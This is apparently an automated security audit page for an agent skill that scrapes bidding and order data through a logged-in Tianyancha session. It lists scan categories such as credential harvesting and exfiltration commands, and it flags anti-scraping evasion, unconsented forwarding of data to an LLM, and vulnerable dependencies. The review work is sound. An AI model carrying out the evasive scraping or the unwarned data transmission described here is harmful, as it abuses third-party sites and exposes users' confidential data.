AIRS招投标订单采集与核查

• Outcome: Review
• Latest audit: May 28, 2026 · 1:51 AM UTC
• Version: 1.0.2

Overview

This skill appears to do the research workflow it claims, but it needs Review because it uses a logged-in Tianyancha browser session and sends collected research content to a configurable LLM provider with incomplete privacy and scoping warnings.

Install only if you are comfortable using a logged-in Tianyancha session and sending collected procurement/research text to the configured LLM provider. Use a dedicated browser profile or low-privilege account, keep Chrome remote debugging bound to localhost and close it after use, avoid untrusted Excel files until xlsx is addressed, verify the LLM provider and retention terms, and run in a backed-up workspace because outputs under data/ may be overwritten or refreshed.

SkillSpector

By NVIDIA

Vulnerability Patterns

• Data Exfiltration: External Transmission, Env Variable Harvesting, File System Enumeration
• Supply Chain: Unpinned Dependencies, External Script Fetching, Obfuscated Code
• Excessive Agency: Unrestricted Tool Access, Autonomous Decision Making, Scope Creep
• Trigger Abuse: Overly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
• Prompt Injection: Instruction Override, Hidden Instructions, Exfiltration Commands

Findings (11)

Context-Inappropriate Capability

Medium

• Confidence: 87% confidence
• Finding: The helper explicitly describes its purpose as adding random delays to avoid anti-scraping defenses, which goes beyond ordinary rate limiting or politeness and can facilitate automated collection from sites that may prohibit such access. In a skill designed to collect bidding and order data from third-party platforms, this increases the likelihood of evasive scraping behavior and abuse of a user's already-authenticated browser session.

Vague Triggers

Medium

• Confidence: 87% confidence
• Finding: The skill description is broad and does not clearly constrain when the skill should or should not be invoked, which can cause an agent to activate it in unintended contexts. Because this skill performs authenticated web crawling against a logged-in browser session and writes collected content to local files, ambiguous activation increases the risk of unnecessary data collection, misuse of authenticated access, or running intrusive actions without sufficiently explicit user intent.

Missing User Warnings

Medium

• Confidence: 93% confidence
• Finding: The skill explicitly tells users that OpenAI-compatible LLM configuration and a local API key are involved, but it provides no warning about protecting secrets, limiting data sent to external models, or handling potentially sensitive research data. In a workflow that processes local CSV/Excel inputs and sends content to an LLM for quality checks and summarization, this omission can lead to accidental credential exposure or unintended transmission of proprietary data to third-party services.

Missing User Warnings

Medium

• Confidence: 94% confidence
• Finding: The code sends raw page text, company names, announcement dates, bid amounts, and links to an external LLM provider via callLLM without any visible consent gate, minimization, or provider-safety checks in this file. In a research workflow that processes scraped procurement and bidding records, this can expose potentially sensitive or contract-related data to third-party model services, creating data leakage, compliance, and confidentiality risks.

Missing User Warnings

Medium

• Confidence: 93% confidence
• Finding: This code sends arbitrary userContent plus the API credential to a configurable external endpoint via an OpenAI-compatible HTTP request, but the file provides no guardrails on where baseURL points or any notice/consent mechanism before transmitting potentially sensitive research data. In this skill context, the content being processed may include collected bidding, enterprise, or order-verification material, so misconfiguration to an untrusted endpoint or unvetted data forwarding could cause confidentiality leakage.

Unpinned Dependencies

Low

• Category: Supply Chain

Content

"verify": "node src/verify_thirdparty.js"
  },
  "dependencies": {
    "puppeteer-core": "^24.0.0",
    "xlsx": "^0.18.5",
    "csv-writer": "^1.6.0",
    "csv-parse": "^5.6.0",

• Confidence: 84% confidence
• Finding: "puppeteer-core": "^24.0.0"

Unpinned Dependencies

Low

• Category: Supply Chain

Content

},
  "dependencies": {
    "puppeteer-core": "^24.0.0",
    "xlsx": "^0.18.5",
    "csv-writer": "^1.6.0",
    "csv-parse": "^5.6.0",
    "winston": "^3.17.0"

• Confidence: 98% confidence
• Finding: "xlsx": "^0.18.5"

Unpinned Dependencies

Low

• Category: Supply Chain

Content

"dependencies": {
    "puppeteer-core": "^24.0.0",
    "xlsx": "^0.18.5",
    "csv-writer": "^1.6.0",
    "csv-parse": "^5.6.0",
    "winston": "^3.17.0"
  }

• Confidence: 79% confidence
• Finding: "csv-writer": "^1.6.0"

Unpinned Dependencies

Low

• Category: Supply Chain

Content

"puppeteer-core": "^24.0.0",
    "xlsx": "^0.18.5",
    "csv-writer": "^1.6.0",
    "csv-parse": "^5.6.0",
    "winston": "^3.17.0"
  }
}

• Confidence: 80% confidence
• Finding: "csv-parse": "^5.6.0"

Unpinned Dependencies

Low

• Category: Supply Chain

Content

"xlsx": "^0.18.5",
    "csv-writer": "^1.6.0",
    "csv-parse": "^5.6.0",
    "winston": "^3.17.0"
  }
}

• Confidence: 74% confidence
• Finding: "winston": "^3.17.0"

Known Vulnerable Dependency: xlsx==0.18.5 — 2 advisory(ies): CVE-2023-30533 (Prototype Pollution in sheetJS); CVE-2024-22363 (SheetJS Regular Expression Denial of Service (ReDoS))

High

• Category: Supply Chain
• Confidence: 99% confidence
• Finding: xlsx==0.18.5

VirusTotal

VirusTotal findings are pending for this skill version.

Static analysis

No suspicious patterns detected.